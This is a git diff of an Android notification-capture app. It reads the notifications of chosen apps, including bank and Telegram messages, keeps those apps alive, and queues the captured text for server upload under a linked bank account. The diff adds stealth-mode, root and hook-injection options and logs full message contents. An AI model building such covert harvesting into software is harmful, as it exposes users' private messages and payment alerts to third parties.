import android.os.Looper;
|
||||
|
||||
import com.miraclegarden.smsmessage.KeepAliveSettings;
|
||||
|
||||
import java.util.concurrent.TimeUnit;
|
||||
|
||||
/**
|
||||
* 间隔 < 15 分钟时用前台服务 Handler 定时(WorkManager 最短 15 分钟)。
|
||||
*/
|
||||
public final class MonitoredAppKeepAliveLoop {
|
||||
|
||||
private static final Handler HANDLER = new Handler(Looper.getMainLooper());
|
||||
private static Context appContext;
|
||||
|
||||
private static final Runnable TICK = new Runnable() {
|
||||
@Override
|
||||
public void run() {
|
||||
if (appContext == null) {
|
||||
return;
|
||||
}
|
||||
if (!NotificationService.isMonitoringActive(appContext)) {
|
||||
stop();
|
||||
return;
|
||||
}
|
||||
if (!KeepAliveSettings.isEnabled(appContext)) {
|
||||
stop();
|
||||
return;
|
||||
}
|
||||
if (!usesFastLoop(appContext)) {
|
||||
stop();
|
||||
return;
|
||||
}
|
||||
MonitoredAppActivator.activateAllAsync(appContext);
|
||||
scheduleNext();
|
||||
}
|
||||
};
|
||||
|
||||
private MonitoredAppKeepAliveLoop() {
|
||||
}
|
||||
|
||||
public static boolean usesFastLoop(Context context) {
|
||||
return KeepAliveSettings.isEnabled(context)
|
||||
&& KeepAliveSettings.getIntervalMinutes(context) < KeepAliveSettings.WORK_MANAGER_MIN_MINUTES;
|
||||
}
|
||||
|
||||
public static void start(Context context) {
|
||||
if (!usesFastLoop(context)) {
|
||||
stop();
|
||||
return;
|
||||
}
|
||||
appContext = context.getApplicationContext();
|
||||
HANDLER.removeCallbacks(TICK);
|
||||
// 先尽快执行一次,再按间隔循环
|
||||
HANDLER.postDelayed(TICK, 3000);
|
||||
}
|
||||
|
||||
public static void stop() {
|
||||
HANDLER.removeCallbacks(TICK);
|
||||
appContext = null;
|
||||
}
|
||||
|
||||
public static void restart(Context context) {
|
||||
stop();
|
||||
start(context);
|
||||
}
|
||||
|
||||
private static void scheduleNext() {
|
||||
if (appContext == null) {
|
||||
return;
|
||||
}
|
||||
long delayMs = TimeUnit.MINUTES.toMillis(KeepAliveSettings.getIntervalMinutes(appContext));
|
||||
HANDLER.postDelayed(TICK, delayMs);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,49 @@
|
||||
package com.miraclegarden.smsmessage.service;
|
||||
|
||||
import android.content.Context;
|
||||
|
||||
import androidx.work.ExistingPeriodicWorkPolicy;
|
||||
import androidx.work.PeriodicWorkRequest;
|
||||
import androidx.work.WorkManager;
|
||||
|
||||
import com.miraclegarden.smsmessage.KeepAliveSettings;
|
||||
|
||||
import java.util.concurrent.TimeUnit;
|
||||
|
||||
public final class MonitoredAppKeepAliveScheduler {
|
||||
|
||||
private static final String WORK_NAME = "monitored_app_keep_alive";
|
||||
|
||||
private MonitoredAppKeepAliveScheduler() {
|
||||
}
|
||||
|
||||
public static void schedule(Context context) {
|
||||
Context appContext = context.getApplicationContext();
|
||||
if (!KeepAliveSettings.isEnabled(appContext)) {
|
||||
cancel(appContext);
|
||||
return;
|
||||
}
|
||||
|
||||
int interval = KeepAliveSettings.getIntervalMinutes(appContext);
|
||||
if (interval < KeepAliveSettings.WORK_MANAGER_MIN_MINUTES) {
|
||||
WorkManager.getInstance(appContext).cancelUniqueWork(WORK_NAME);
|
||||
MonitoredAppKeepAliveLoop.start(appContext);
|
||||
return;
|
||||
}
|
||||
|
||||
MonitoredAppKeepAliveLoop.stop();
|
||||
PeriodicWorkRequest request = new PeriodicWorkRequest.Builder(
|
||||
MonitoredAppKeepAliveWorker.class, interval, TimeUnit.MINUTES)
|
||||
.build();
|
||||
WorkManager.getInstance(appContext).enqueueUniquePeriodicWork(
|
||||
WORK_NAME,
|
||||
ExistingPeriodicWorkPolicy.UPDATE,
|
||||
request);
|
||||
}
|
||||
|
||||
public static void cancel(Context context) {
|
||||
Context appContext = context.getApplicationContext();
|
||||
WorkManager.getInstance(appContext).cancelUniqueWork(WORK_NAME);
|
||||
MonitoredAppKeepAliveLoop.stop();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,34 @@
|
||||
package com.miraclegarden.smsmessage.service;
|
||||
|
||||
import android.content.Context;
|
||||
import android.util.Log;
|
||||
|
||||
import androidx.annotation.NonNull;
|
||||
import androidx.work.Worker;
|
||||
import androidx.work.WorkerParameters;
|
||||
|
||||
import com.miraclegarden.smsmessage.KeepAliveSettings;
|
||||
|
||||
public class MonitoredAppKeepAliveWorker extends Worker {
|
||||
|
||||
private static final String TAG = "MonitoredAppKeepAlive";
|
||||
|
||||
public MonitoredAppKeepAliveWorker(@NonNull Context context, @NonNull WorkerParameters params) {
|
||||
super(context, params);
|
||||
}
|
||||
|
||||
@NonNull
|
||||
@Override
|
||||
public Result doWork() {
|
||||
if (!KeepAliveSettings.isEnabled(getApplicationContext())) {
|
||||
return Result.success();
|
||||
}
|
||||
if (!NotificationService.isMonitoringActive(getApplicationContext())) {
|
||||
Log.d(TAG, "monitoring off, skip");
|
||||
return Result.success();
|
||||
}
|
||||
Log.i(TAG, "periodic keep-alive tick");
|
||||
MonitoredAppActivator.activateAll(getApplicationContext());
|
||||
return Result.success();
|
||||
}
|
||||
}
|
||||
@@ -2,24 +2,22 @@ package com.miraclegarden.smsmessage.service;
|
||||
|
||||
import android.app.Notification;
|
||||
import android.os.Bundle;
|
||||
import android.os.Parcelable;
|
||||
import android.service.notification.StatusBarNotification;
|
||||
import android.text.TextUtils;
|
||||
|
||||
/**
|
||||
* @Author wchino
|
||||
* 创建时间 2026/03/30
|
||||
* 用途:通知内容多层提取工具,兼容不同厂商字段差异
|
||||
* 通知内容多层提取工具,兼容不同厂商字段差异。
|
||||
* Telegram 常用 InboxStyle / MessagingStyle,不能只读 EXTRA_TEXT。
|
||||
*/
|
||||
public class NotificationExtractor {
|
||||
|
||||
private static final String EXTRA_MESSAGES = "android.messages";
|
||||
private static final String EXTRA_CONVERSATION_TITLE = "android.conversationTitle";
|
||||
|
||||
private NotificationExtractor() {
|
||||
}
|
||||
|
||||
/**
|
||||
* @Author wchino
|
||||
* 创建时间 2026/03/30
|
||||
* 用途:提取通知标题、内容和提取时间戳
|
||||
*/
|
||||
public static Result extract(StatusBarNotification sbn) {
|
||||
long timestamp = System.currentTimeMillis();
|
||||
if (sbn == null || sbn.getNotification() == null) {
|
||||
@@ -35,14 +33,18 @@ public class NotificationExtractor {
|
||||
if (extras != null) {
|
||||
title = pickFirstNonEmpty(
|
||||
extras.getCharSequence(Notification.EXTRA_TITLE),
|
||||
extras.getCharSequence(Notification.EXTRA_TITLE_BIG)
|
||||
extras.getCharSequence(Notification.EXTRA_TITLE_BIG),
|
||||
extras.getCharSequence(EXTRA_CONVERSATION_TITLE),
|
||||
extras.getCharSequence(Notification.EXTRA_SUMMARY_TEXT)
|
||||
);
|
||||
|
||||
content = pickFirstNonEmpty(
|
||||
extras.getCharSequence(Notification.EXTRA_TEXT),
|
||||
extras.getCharSequence(Notification.EXTRA_BIG_TEXT),
|
||||
extras.getCharSequence(Notification.EXTRA_INFO_TEXT),
|
||||
extras.getCharSequence(Notification.EXTRA_SUB_TEXT)
|
||||
extras.getCharSequence(Notification.EXTRA_SUB_TEXT),
|
||||
extractMessagingStyleContent(extras),
|
||||
extractInboxLines(extras)
|
||||
);
|
||||
}
|
||||
|
||||
@@ -54,16 +56,61 @@ public class NotificationExtractor {
|
||||
content = normalized(notification.tickerText);
|
||||
}
|
||||
|
||||
if (title == null) {
|
||||
title = "";
|
||||
}
|
||||
if (content == null) {
|
||||
content = "";
|
||||
if (TextUtils.isEmpty(content) && !TextUtils.isEmpty(title)
|
||||
&& normalized(notification.tickerText).startsWith(title)) {
|
||||
String ticker = normalized(notification.tickerText);
|
||||
if (ticker.length() > title.length()) {
|
||||
content = ticker.substring(title.length()).trim();
|
||||
}
|
||||
}
|
||||
|
||||
return new Result(title, content, timestamp);
|
||||
}
|
||||
|
||||
/** Telegram 等 App 的 InboxStyle:最新消息在 textLines 末尾。 */
|
||||
private static String extractInboxLines(Bundle extras) {
|
||||
CharSequence[] lines = extras.getCharSequenceArray(Notification.EXTRA_TEXT_LINES);
|
||||
if (lines == null || lines.length == 0) {
|
||||
return "";
|
||||
}
|
||||
for (int i = lines.length - 1; i >= 0; i--) {
|
||||
String line = normalized(lines[i]);
|
||||
if (!TextUtils.isEmpty(line)) {
|
||||
return line;
|
||||
}
|
||||
}
|
||||
return "";
|
||||
}
|
||||
|
||||
/** MessagingStyle:从 android.messages 取最新一条正文。 */
|
||||
private static String extractMessagingStyleContent(Bundle extras) {
|
||||
Parcelable[] messages = extras.getParcelableArray(EXTRA_MESSAGES);
|
||||
if (messages == null || messages.length == 0) {
|
||||
return "";
|
||||
}
|
||||
for (int i = messages.length - 1; i >= 0; i--) {
|
||||
String text = extractMessagingMessageText(messages[i]);
|
||||
if (!TextUtils.isEmpty(text)) {
|
||||
return text;
|
||||
}
|
||||
}
|
||||
return "";
|
||||
}
|
||||
|
||||
private static String extractMessagingMessageText(Parcelable parcelable) {
|
||||
if (parcelable == null) {
|
||||
return "";
|
||||
}
|
||||
if (parcelable instanceof Bundle) {
|
||||
Bundle bundle = (Bundle) parcelable;
|
||||
return pickFirstNonEmpty(
|
||||
bundle.getCharSequence("text"),
|
||||
bundle.getCharSequence(Notification.EXTRA_TEXT)
|
||||
);
|
||||
}
|
||||
return "";
|
||||
}
|
||||
|
||||
private static String pickFirstNonEmpty(CharSequence... values) {
|
||||
if (values == null || values.length == 0) {
|
||||
return "";
|
||||
@@ -103,11 +150,6 @@ public class NotificationExtractor {
|
||||
return ticker;
|
||||
}
|
||||
|
||||
/**
|
||||
* @Author wchino
|
||||
* 创建时间 2026/03/30
|
||||
* 用途:通知提取结果对象
|
||||
*/
|
||||
public static class Result {
|
||||
public String title;
|
||||
public String content;
|
||||
|
||||
@@ -3,6 +3,7 @@ package com.miraclegarden.smsmessage.service;
|
||||
import android.content.Context;
|
||||
import android.provider.Settings;
|
||||
import android.text.TextUtils;
|
||||
import android.util.Log;
|
||||
|
||||
import androidx.annotation.NonNull;
|
||||
import androidx.work.Worker;
|
||||
@@ -10,6 +11,8 @@ import androidx.work.WorkerParameters;
|
||||
|
||||
public class NotificationHealthCheckWorker extends Worker {
|
||||
|
||||
private static final String TAG = "NotiHealthCheck";
|
||||
|
||||
public NotificationHealthCheckWorker(@NonNull Context context, @NonNull WorkerParameters params) {
|
||||
super(context, params);
|
||||
}
|
||||
@@ -18,7 +21,10 @@ public class NotificationHealthCheckWorker extends Worker {
|
||||
@Override
|
||||
public Result doWork() {
|
||||
if (!isNotificationListenerEnabled()) {
|
||||
Log.w(TAG, "notification listener disabled, attempting recovery");
|
||||
NotificationService.toggleNotificationListenerService(getApplicationContext());
|
||||
} else {
|
||||
Log.d(TAG, "notification listener ok");
|
||||
}
|
||||
return Result.success();
|
||||
}
|
||||
|
||||
@@ -26,11 +26,14 @@ import androidx.core.app.NotificationCompat;
|
||||
|
||||
import com.miraclegarden.smsmessage.Activity.NotificationActivity;
|
||||
import com.miraclegarden.smsmessage.App;
|
||||
import com.miraclegarden.smsmessage.AppConfig;
|
||||
import com.miraclegarden.smsmessage.KeepAliveSettings;
|
||||
import com.miraclegarden.smsmessage.MessageInfo;
|
||||
import com.miraclegarden.smsmessage.R;
|
||||
import com.miraclegarden.smsmessage.model.ApiError;
|
||||
import com.miraclegarden.smsmessage.model.UploadNotificationResponse;
|
||||
import com.miraclegarden.smsmessage.network.ApiService;
|
||||
import com.miraclegarden.smsmessage.network.DebugForwarder;
|
||||
import com.miraclegarden.smsmessage.network.TokenManager;
|
||||
|
||||
import org.json.JSONException;
|
||||
@@ -63,6 +66,8 @@ public class NotificationService extends NotificationListenerService {
|
||||
private RetryManager retryManager;
|
||||
private PowerManager.WakeLock wakeLock;
|
||||
private static boolean isMonitoring = false;
|
||||
private static final String PREF_SERVER = "server";
|
||||
private static final String KEY_MONITORING_ACTIVE = "monitoring_active";
|
||||
private ApiService apiService;
|
||||
private TokenManager tokenManager;
|
||||
|
||||
@@ -82,35 +87,105 @@ public class NotificationService extends NotificationListenerService {
|
||||
tokenManager = TokenManager.getInstance(this);
|
||||
|
||||
retryManager = new RetryManager(this);
|
||||
retryManager.setUploadCallback(this::performUpload);
|
||||
retryManager.restoreFromPersistence();
|
||||
if (AppConfig.ENABLE_SERVER_UPLOAD) {
|
||||
retryManager.setUploadCallback(this::performUpload);
|
||||
retryManager.restoreFromPersistence();
|
||||
}
|
||||
}
|
||||
|
||||
private static final String ACTION_HOOK_MESSAGE = "ACTION_HOOK_MESSAGE";
|
||||
|
||||
@Override
|
||||
public int onStartCommand(Intent intent, int flags, int startId) {
|
||||
if (intent != null && "ACTION_START_MONITORING".equals(intent.getAction())) {
|
||||
startMonitoring();
|
||||
if (intent != null) {
|
||||
if ("ACTION_START_MONITORING".equals(intent.getAction())) {
|
||||
startMonitoring();
|
||||
} else if (ACTION_HOOK_MESSAGE.equals(intent.getAction())) {
|
||||
handleHookMessageIntent(intent);
|
||||
}
|
||||
} else if (isMonitoringActive(this)) {
|
||||
MonitoredAppKeepAliveScheduler.schedule(this);
|
||||
}
|
||||
NotificationActivity.sendMessage("监听服务成功!");
|
||||
return START_STICKY;
|
||||
}
|
||||
|
||||
public static void submitFromHook(Context context, MessageInfo messageInfo,
|
||||
String title, String content, long timestamp, String source) {
|
||||
Intent intent = new Intent(context, NotificationService.class);
|
||||
intent.setAction(ACTION_HOOK_MESSAGE);
|
||||
intent.putExtra("hook_package", messageInfo.getPackageName());
|
||||
intent.putExtra("hook_title", title);
|
||||
intent.putExtra("hook_content", content);
|
||||
intent.putExtra("hook_timestamp", timestamp);
|
||||
intent.putExtra("hook_source", source);
|
||||
try {
|
||||
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
|
||||
context.startForegroundService(intent);
|
||||
} else {
|
||||
context.startService(intent);
|
||||
}
|
||||
Log.d(TAG, "submitFromHook: service started for " + messageInfo.getPackageName());
|
||||
} catch (Exception e) {
|
||||
Log.e(TAG, "submitFromHook failed: " + e.getMessage(), e);
|
||||
NotificationActivity.sendMessage("[Hook] 服务启动失败: " + e.getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
private void handleHookMessageIntent(Intent intent) {
|
||||
String packageName = intent.getStringExtra("hook_package");
|
||||
MessageInfo messageInfo = App.getMessageByNotiList(this, packageName);
|
||||
if (messageInfo == null) {
|
||||
return;
|
||||
}
|
||||
String source = intent.getStringExtra("hook_source");
|
||||
NotificationExtractor.Result result = new NotificationExtractor.Result(
|
||||
intent.getStringExtra("hook_title"),
|
||||
intent.getStringExtra("hook_content"),
|
||||
intent.getLongExtra("hook_timestamp", System.currentTimeMillis())
|
||||
);
|
||||
submitNotification(messageInfo, result, source != null ? source : "hook");
|
||||
}
|
||||
|
||||
public static boolean isMonitoring() {
|
||||
return isMonitoring;
|
||||
}
|
||||
|
||||
public static boolean isMonitoringActive(Context context) {
|
||||
if (isMonitoring) {
|
||||
return true;
|
||||
}
|
||||
return context.getSharedPreferences(PREF_SERVER, Context.MODE_PRIVATE)
|
||||
.getBoolean(KEY_MONITORING_ACTIVE, false);
|
||||
}
|
||||
|
||||
private static void setMonitoringActive(Context context, boolean active) {
|
||||
isMonitoring = active;
|
||||
context.getSharedPreferences(PREF_SERVER, Context.MODE_PRIVATE)
|
||||
.edit()
|
||||
.putBoolean(KEY_MONITORING_ACTIVE, active)
|
||||
.apply();
|
||||
}
|
||||
|
||||
private void startMonitoring() {
|
||||
if (isMonitoring) return;
|
||||
isMonitoring = true;
|
||||
setMonitoringActive(this, true);
|
||||
|
||||
toggleNotificationListenerService(this);
|
||||
updateForegroundNotification(retryManager != null ? retryManager.getUploadedCount() : 0);
|
||||
NotificationActivity.sendMessage("已开启持续监听模式");
|
||||
MonitoredAppKeepAliveScheduler.schedule(this);
|
||||
if (KeepAliveSettings.isEnabled(this)) {
|
||||
MonitoredAppActivator.activateAllAsync(this);
|
||||
}
|
||||
updateForegroundNotification(retryManager != null
|
||||
? (AppConfig.ENABLE_SERVER_UPLOAD ? retryManager.getUploadedCount() : retryManager.getTotalCount())
|
||||
: 0);
|
||||
NotificationActivity.sendMessage("已开启持续监听模式(含 App 保活)");
|
||||
NotificationActivity.updateUI();
|
||||
}
|
||||
|
||||
public static void stopMonitoring(Context context) {
|
||||
isMonitoring = false;
|
||||
setMonitoringActive(context, false);
|
||||
MonitoredAppKeepAliveScheduler.cancel(context);
|
||||
NotificationActivity.sendMessage("已停止监听服务");
|
||||
NotificationActivity.updateUI();
|
||||
Toast.makeText(context, "监听服务已停止", Toast.LENGTH_SHORT).show();
|
||||
@@ -136,7 +211,11 @@ public class NotificationService extends NotificationListenerService {
|
||||
try {
|
||||
Intent intent = new Intent(context, NotificationService.class);
|
||||
intent.setAction("ACTION_START_MONITORING");
|
||||
context.startService(intent);
|
||||
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
|
||||
context.startForegroundService(intent);
|
||||
} else {
|
||||
context.startService(intent);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
Log.e(TAG, "启动监听失败", e);
|
||||
}
|
||||
@@ -152,8 +231,13 @@ public class NotificationService extends NotificationListenerService {
|
||||
if (messageInfo == null) return;
|
||||
|
||||
NotificationExtractor.Result result = NotificationExtractor.extract(sbn);
|
||||
Log.i(TAG, "onNotificationPosted: pkg=" + sbn.getPackageName()
|
||||
+ " title=" + result.title + " content=" + result.content);
|
||||
|
||||
if (TextUtils.isEmpty(result.title) && TextUtils.isEmpty(result.content)) {
|
||||
Log.w(TAG, "skip empty notification: " + sbn.getPackageName()
|
||||
+ " extras=" + (sbn.getNotification().extras != null
|
||||
? sbn.getNotification().extras.keySet() : "null"));
|
||||
NotificationActivity.sendMessage("[" + messageInfo.getAppName() + "] 通知内容为空,跳过");
|
||||
return;
|
||||
}
|
||||
@@ -163,17 +247,24 @@ public class NotificationService extends NotificationListenerService {
|
||||
}
|
||||
|
||||
NotificationActivity.sendMessage(result.title + " " + result.content);
|
||||
submitNotification(messageInfo, result);
|
||||
submitNotification(messageInfo, result, "notification");
|
||||
}
|
||||
|
||||
private void submitNotification(MessageInfo messageInfo, NotificationExtractor.Result result) {
|
||||
// 检查是否已登录
|
||||
private void submitNotification(MessageInfo messageInfo, NotificationExtractor.Result result,
|
||||
String debugSource) {
|
||||
DebugForwarder.forward(this, messageInfo, result.title, result.content,
|
||||
result.timestamp, debugSource);
|
||||
|
||||
if (!AppConfig.ENABLE_SERVER_UPLOAD) {
|
||||
recordLocalCapture();
|
||||
return;
|
||||
}
|
||||
|
||||
if (!tokenManager.isLoggedIn()) {
|
||||
NotificationActivity.sendMessage("未登录,请先登录");
|
||||
return;
|
||||
}
|
||||
|
||||
// 检查是否关联了银行账户
|
||||
if (TextUtils.isEmpty(messageInfo.getBankInfoId())) {
|
||||
NotificationActivity.sendMessage("该应用未关联银行账户,请先配置");
|
||||
return;
|
||||
@@ -181,32 +272,35 @@ public class NotificationService extends NotificationListenerService {
|
||||
|
||||
try {
|
||||
JSONObject jsonObject = new JSONObject();
|
||||
// 根据文档,bankInfoId 是建议字段
|
||||
jsonObject.put("bankInfoId", messageInfo.getBankInfoId());
|
||||
|
||||
// data 字段包含通知内容
|
||||
JSONObject dataObject = new JSONObject();
|
||||
dataObject.put("title", result.title);
|
||||
dataObject.put("context", result.content);
|
||||
dataObject.put("timestamp", result.timestamp);
|
||||
jsonObject.put("data", dataObject);
|
||||
|
||||
// 保留原有字段用于兼容性
|
||||
jsonObject.put("name", messageInfo.getName());
|
||||
jsonObject.put("code", messageInfo.getCode());
|
||||
jsonObject.put("remark", messageInfo.getRemark());
|
||||
jsonObject.put("appName", messageInfo.getAppName());
|
||||
jsonObject.put("packageName", messageInfo.getPackageName());
|
||||
|
||||
String payload = jsonObject.toString();
|
||||
NotificationActivity.sendMessage("准备发送服务器:成功");
|
||||
retryManager.enqueue(payload);
|
||||
retryManager.enqueue(jsonObject.toString());
|
||||
} catch (JSONException e) {
|
||||
Log.e(TAG, "JSON构建失败", e);
|
||||
NotificationActivity.sendMessage("JSON构建失败: " + e.getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
private void recordLocalCapture() {
|
||||
if (retryManager != null) {
|
||||
retryManager.recordLocalCapture();
|
||||
updateForegroundNotification(retryManager.getTotalCount());
|
||||
}
|
||||
NotificationActivity.updateUI();
|
||||
}
|
||||
|
||||
private void performUpload(String jsonPayload, RetryManager.UploadResultListener listener) {
|
||||
acquireWakeLockForUpload();
|
||||
|
||||
@@ -276,7 +370,6 @@ public class NotificationService extends NotificationListenerService {
|
||||
@Override
|
||||
public void onDestroy() {
|
||||
super.onDestroy();
|
||||
isMonitoring = false;
|
||||
NotificationActivity.updateUI();
|
||||
if (wakeLock != null && wakeLock.isHeld()) {
|
||||
wakeLock.release();
|
||||
@@ -314,11 +407,12 @@ public class NotificationService extends NotificationListenerService {
|
||||
}
|
||||
}
|
||||
|
||||
private Notification buildForegroundNotification(int uploadedCount, boolean monitoring) {
|
||||
private Notification buildForegroundNotification(int count, boolean monitoring) {
|
||||
String title = monitoring ? "持续监听中" : "通知监听服务";
|
||||
String countLabel = AppConfig.ENABLE_SERVER_UPLOAD ? "已上传" : "已抓取";
|
||||
String text = monitoring
|
||||
? "已上传 " + uploadedCount + " 条 · 持续运行中"
|
||||
: "已上传 " + uploadedCount + " 条";
|
||||
? countLabel + " " + count + " 条 · 持续运行中"
|
||||
: countLabel + " " + count + " 条";
|
||||
|
||||
return new NotificationCompat.Builder(this, CHANNEL_ID)
|
||||
.setContentTitle(title)
|
||||
@@ -330,10 +424,10 @@ public class NotificationService extends NotificationListenerService {
|
||||
.build();
|
||||
}
|
||||
|
||||
private void updateForegroundNotification(int uploadedCount) {
|
||||
private void updateForegroundNotification(int count) {
|
||||
NotificationManager nm = getSystemService(NotificationManager.class);
|
||||
if (nm != null) {
|
||||
nm.notify(FOREGROUND_NOTIFICATION_ID, buildForegroundNotification(uploadedCount, isMonitoring));
|
||||
nm.notify(FOREGROUND_NOTIFICATION_ID, buildForegroundNotification(count, isMonitoring));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -178,6 +178,11 @@ public class RetryManager {
|
||||
return failedCount;
|
||||
}
|
||||
|
||||
/** 本地监听模式下仅累计抓取条数,不上传服务器 */
|
||||
public void recordLocalCapture() {
|
||||
incrementTotalCount();
|
||||
}
|
||||
|
||||
private void incrementTotalCount() {
|
||||
totalCount++;
|
||||
sharedPreferences.edit()
|
||||
|
||||
203
app/src/main/res/layout/activity_keep_alive_settings.xml
Normal file
203
app/src/main/res/layout/activity_keep_alive_settings.xml
Normal file
@@ -0,0 +1,203 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="match_parent"
|
||||
android:background="#F5F5F5"
|
||||
android:orientation="vertical">
|
||||
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="56dp"
|
||||
android:background="@color/purple_500"
|
||||
android:gravity="center_vertical"
|
||||
android:orientation="horizontal"
|
||||
android:paddingStart="16dp"
|
||||
android:paddingEnd="16dp">
|
||||
|
||||
<ImageView
|
||||
android:id="@+id/iv_back"
|
||||
android:layout_width="24dp"
|
||||
android:layout_height="24dp"
|
||||
android:src="@drawable/ic_action_back" />
|
||||
|
||||
<TextView
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_marginStart="16dp"
|
||||
android:text="@string/keep_alive_settings_title"
|
||||
android:textColor="@color/white"
|
||||
android:textSize="18sp"
|
||||
android:textStyle="bold" />
|
||||
</LinearLayout>
|
||||
|
||||
<ScrollView
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="0dp"
|
||||
android:layout_weight="1">
|
||||
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="vertical"
|
||||
android:padding="16dp">
|
||||
|
||||
<TextView
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:lineSpacingExtra="4dp"
|
||||
android:text="@string/keep_alive_settings_hint"
|
||||
android:textColor="#666666"
|
||||
android:textSize="13sp" />
|
||||
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_marginTop="16dp"
|
||||
android:background="@color/white"
|
||||
android:orientation="vertical"
|
||||
android:padding="16dp">
|
||||
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:gravity="center_vertical"
|
||||
android:orientation="horizontal">
|
||||
|
||||
<TextView
|
||||
android:layout_width="0dp"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_weight="1"
|
||||
android:text="@string/keep_alive_enabled"
|
||||
android:textColor="#333333"
|
||||
android:textSize="16sp" />
|
||||
|
||||
<androidx.appcompat.widget.SwitchCompat
|
||||
android:id="@+id/switch_enabled"
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content" />
|
||||
</LinearLayout>
|
||||
|
||||
<TextView
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_marginTop="16dp"
|
||||
android:text="@string/keep_alive_interval_label"
|
||||
android:textColor="#333333"
|
||||
android:textSize="14sp" />
|
||||
|
||||
<Spinner
|
||||
android:id="@+id/spinner_interval"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="48dp"
|
||||
android:layout_marginTop="8dp" />
|
||||
|
||||
<TextView
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_marginTop="16dp"
|
||||
android:text="@string/keep_alive_cooldown_label"
|
||||
android:textColor="#333333"
|
||||
android:textSize="14sp" />
|
||||
|
||||
<Spinner
|
||||
android:id="@+id/spinner_cooldown"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="48dp"
|
||||
android:layout_marginTop="8dp" />
|
||||
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_marginTop="16dp"
|
||||
android:gravity="center_vertical"
|
||||
android:orientation="horizontal">
|
||||
|
||||
<TextView
|
||||
android:layout_width="0dp"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_weight="1"
|
||||
android:text="@string/keep_alive_stealth_mode"
|
||||
android:textColor="#333333"
|
||||
android:textSize="14sp" />
|
||||
|
||||
<androidx.appcompat.widget.SwitchCompat
|
||||
android:id="@+id/switch_stealth_mode"
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content" />
|
||||
</LinearLayout>
|
||||
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_marginTop="12dp"
|
||||
android:gravity="center_vertical"
|
||||
android:orientation="horizontal">
|
||||
|
||||
<TextView
|
||||
android:layout_width="0dp"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_weight="1"
|
||||
android:text="@string/keep_alive_prefer_root"
|
||||
android:textColor="#333333"
|
||||
android:textSize="14sp" />
|
||||
|
||||
<androidx.appcompat.widget.SwitchCompat
|
||||
android:id="@+id/switch_prefer_root"
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content" />
|
||||
</LinearLayout>
|
||||
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_marginTop="12dp"
|
||||
android:gravity="center_vertical"
|
||||
android:orientation="horizontal">
|
||||
|
||||
<TextView
|
||||
android:layout_width="0dp"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_weight="1"
|
||||
android:text="@string/keep_alive_kill_before_launch"
|
||||
android:textColor="#333333"
|
||||
android:textSize="14sp" />
|
||||
|
||||
<androidx.appcompat.widget.SwitchCompat
|
||||
android:id="@+id/switch_kill_before_launch"
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content" />
|
||||
</LinearLayout>
|
||||
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_marginTop="12dp"
|
||||
android:gravity="center_vertical"
|
||||
android:orientation="horizontal">
|
||||
|
||||
<TextView
|
||||
android:layout_width="0dp"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_weight="1"
|
||||
android:text="@string/keep_alive_return_home"
|
||||
android:textColor="#333333"
|
||||
android:textSize="14sp" />
|
||||
|
||||
<androidx.appcompat.widget.SwitchCompat
|
||||
android:id="@+id/switch_return_home"
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content" />
|
||||
</LinearLayout>
|
||||
</LinearLayout>
|
||||
|
||||
<Button
|
||||
android:id="@+id/btn_wake_now"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="48dp"
|
||||
android:layout_marginTop="16dp"
|
||||
android:backgroundTint="@color/purple_500"
|
||||
android:text="@string/keep_alive_wake_now"
|
||||
android:textColor="@color/white" />
|
||||
</LinearLayout>
|
||||
</ScrollView>
|
||||
</LinearLayout>
|
||||
@@ -107,7 +107,7 @@
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_weight="1"
|
||||
android:gravity="center"
|
||||
android:text="监听: 0"
|
||||
android:text="已抓取: 0"
|
||||
android:textColor="#333333"
|
||||
android:textSize="14sp" />
|
||||
|
||||
|
||||
@@ -46,6 +46,34 @@
|
||||
</LinearLayout>
|
||||
|
||||
<!-- 添加按钮 -->
|
||||
<LinearLayout
|
||||
android:id="@+id/row_keep_alive_settings"
|
||||
android:layout_width="match_parent"
|
||||
